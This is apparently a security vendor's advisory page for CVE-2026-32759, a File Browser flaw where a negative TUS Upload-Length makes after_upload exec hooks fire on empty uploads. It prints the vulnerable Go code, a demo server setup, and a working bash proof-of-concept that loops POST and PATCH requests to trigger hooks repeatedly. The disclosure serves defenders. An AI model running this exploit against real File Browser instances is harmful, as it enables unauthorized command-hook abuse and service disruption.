Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-32759 — filebrowser

🟠 CVSS 8.1 — High ⚠️ Exploit Public CWE-190 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely

> [!NOTE]

> This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

>

> For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength --> 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.

Details

Affected file: http/tus_handlers.go

Vulnerable code - POST (register upload):

```go

func getUploadLength(r *http.Request) (int64, error) {

uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64)

if err != nil {

return 0, fmt.Errorf("invalid upload length: %w", err)

}

return uploadOffset, nil

}

uploadLength, err := getUploadLength(r)

cache.Register(file.RealPath(), uploadLength)

```

Vulnerable code - PATCH (write chunk):

```go

newOffset := uploadOffset + bytesWritten

if newOffset >= uploadLength {

cache.Complete(file.RealPath())

_ = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user)

}

```

The completion check uses signed comparison. Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent.

Consequence: An attacker with upload permission can:

1. Initiate a TUS upload for any filename with Upload-Length: -1

2. Send a PATCH with an empty body ( Upload-Offset: 0 )

3. after_upload hook fires immediately with a 0-byte (or partial) file

4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook

If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.

Demo Server Setup

```bash

docker run -d --name fb-tus \

-p 8080:80 \

-v /tmp/fb-tus:/srv \

-e FB_EXECER=true \

filebrowser/filebrowser:v2.31.2

ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \

-H 'Content-Type: application/json' \

-d '{"username":"admin","password":"admin"}')

curl -s -X PUT http://localhost:8080/api/settings \

-H "X-Auth: $ADMIN_TOKEN" \

-H 'Content-Type: application/json' \

-d '{

"commands": {

"after_upload": ["bash -c \"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\""]

}

}'

```

PoC Exploit

```bash

#!/bin/bash

TARGET="http://localhost:8080"

TOKEN=$(curl -s -X POST "$TARGET/api/login" \

-H "Content-Type: application/json" \

-d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Token: ${TOKEN:0:40}..."

FILENAME="/trigger_test_$(date +%s).txt"

echo "[*] Step 1: POST TUS upload with Upload-Length: -1"

curl -s -X POST "$TARGET/api/tus$FILENAME" \

-H "X-Auth: $TOKEN" \

-H "Upload-Length: -1" \

-H "Content-Length: 0" \

-v 2>&1 | grep -E "HTTP|Location"

echo ""

echo "[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)"

curl -s -X PATCH "$TARGET/api/tus$FILENAME" \

-H "X-Auth: $TOKEN" \

-H "Upload-Offset: 0" \

-H "Content-Type: application/offset+octet-stream" \

-H "Content-Length: 0" \

-v 2>&1 | grep -E "HTTP|Upload"

echo ""

echo "[*] Checking hook log on server (/tmp/hook_log.txt)..."

echo "[*] If hook fired, you will see entries like:"

echo " HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>"

echo ""

echo "[*] Repeating 5 times to demonstrate unlimited hook triggering..."

for i in $(seq 1 5); do

FNAME="/spam_hook_$i.txt"

curl -s -X POST "$TARGET/api/tus$FNAME" \

-H "X-Auth: $TOKEN" \

-H "Upload-Length: -1" \

-H "Content-Length: 0" > /dev/null

curl -s -X PATCH "$TARGET/api/tus$FNAME" \

-H "X-Auth: $TOKEN" \

-H "Upload-Offset: 0" \

-H "Content-Type: application/offset+octet-stream" \

-H "Content-Length: 0" > /dev/null

echo " Hook trigger $i sent"

done

echo "[*] Done - 5 hooks fired with 0 bytes uploaded."

```

Impact

Exec Hook Abuse (when enableExec = true):

An attacker can trigger any after_upload exec hook an unlimited num

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-32759 is classified as CWE-190: Integer Overflow or Wraparound. Arithmetic produces a value too large for its type and wraps around, so a later size or bounds check passes when it should not.

Affected software

CVE-2026-32759 is recorded against 3 packages.

  • filebrowser (fixed in 2.61.2)
  • github.com/filebrowser/filebrowser
  • github.com/filebrowser/filebrowser/v2

Timeline and source

Published on 20 March 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

github.com
github.com

Other advisories for this package

filebrowser has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-190: Integer Overflow or Wraparound) in other software:

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
CWE CWE-190
Public Exploit ⚠️ Yes
Source NVD
Published 2026-03-20
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
filebrowser 2.61.2
github.com/filebrowser/filebrowser
github.com/filebrowser/filebrowser/v2

Similar Threats

Exploit Protection

Are you running filebrowser?

CVE-2026-32759 carries CVSS 8.1 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-32759 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026